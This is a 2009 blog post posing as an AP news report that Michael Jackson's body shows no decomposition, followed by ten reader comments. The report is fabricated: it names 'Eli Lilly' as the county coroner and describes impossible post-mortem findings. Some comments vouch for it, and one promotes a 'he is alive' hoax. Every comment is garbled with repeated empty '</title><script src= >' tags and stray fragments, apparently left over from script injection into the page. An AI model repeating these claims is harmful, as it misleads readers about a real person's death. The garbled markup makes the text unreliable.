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Coroner: Michael Jackson's Body Doesn't Need Embalming
by Mark on 6/27/2009 (10)

Don't fear the Reaper, Thriller style.

(AP) An unexpected thriller emerged regarding the sudden tragic death of Pop icon Michael Jackson today. Los Angeles county coroner Eli Lilly describes:

"We received Jackson's remains at 2:00 A.M. Thursday, and prepared the customary prescribed embalming process, but were stupefied and stunned to observe that the remains were not decomposing, in a state of rigor mortis, or indicated any other post mortem symptoms. We are currently at a loss to explain this, but suspect that all of Michael's plastic surgeries may have a role in this, his diet or drug regimen, we're not sure which one, or perhaps a combination of them all. We will release new information as it unfolds."

Tatiana Kavorkian, A long time nursing assistant to Jackson at the imfamous Neverland Ranch, recalled that "Jackson showed no signs of cellular reduction or regeneration since the Thriller video in 1984."u

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1. by Antney on 6/29/2009 11:04:00 AM
This is a LIE! Eli Lilly is a pharmaceutical company, not a county Coroner. In addition, no amount of plastic surgery (which does NOT involve the use of any plastic) will help preserve a body one bit. The body (EVERYONE'S) begins to decompose the moment the heart stops beating because the blood circulates oxygen and keeps the anaerobic bacteria in check. Once that stops, decomposition begins from the inside. Also, rigor mortis will set in because of the waste products of the muscles not being removed by the blood. This "story" I am commenting on is ridiculous and misleading to Michael's fans. No such thing has actually happened and I am appalled that someone would use a forum like this to make something up and spread it as factone"> </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Motz on 6/29/2009 12:28:09 PM
No, it's trueo </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Kris on 6/30/2009 7:57:10 AM
I'll vouch for Mark. We've fact checked this (as we do everything on Smooth Operator) and it is, without a doubt, completely true."0" style= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Motz on 6/30/2009 1:59:09 PM
That's right, and for the web's definitive resource on the history of Dodgeball too!ne </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by Kris on 7/1/2009 7:45:07 AM
I love that story... and the many, many comments on it.?sid= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by cayte on 7/2/2009 7:38:49 AM
ahhhh bullshit </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by barack obama on 7/3/2009 1:45:06 PM
I am glad to hear this is so, now he can be sent from town to town on a farewell tour.. first to gary, indiana, then to butte, montana and so on. Maybe we can all take a part of him with us. I want his nose.. Not sure he'll need it any more."0"< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
8. by Motz on 7/3/2009 3:58:04 PM
barack usama? barack bodius commudius marlborodius de le cruz cardinale? Is that uuu????tp: </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
9. by motorfingers on 7/8/2009 10:48:44 PM
It's true!!! The article is hilarious, but the comments are even more so.n. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
10. by mjjalive on 2/17/2010 12:31:28 PM
The obvious solution is : if you read the detail .... he is alive, from the text above saying he was received at 02.00 am Thursday 25 June, at this time he was still alive!! The "supposed death" took place at 2.26 pm, but its all a H.O.A.X. its all for L.O.V.E. Check it out at He aint dead folks, MJJ is alive. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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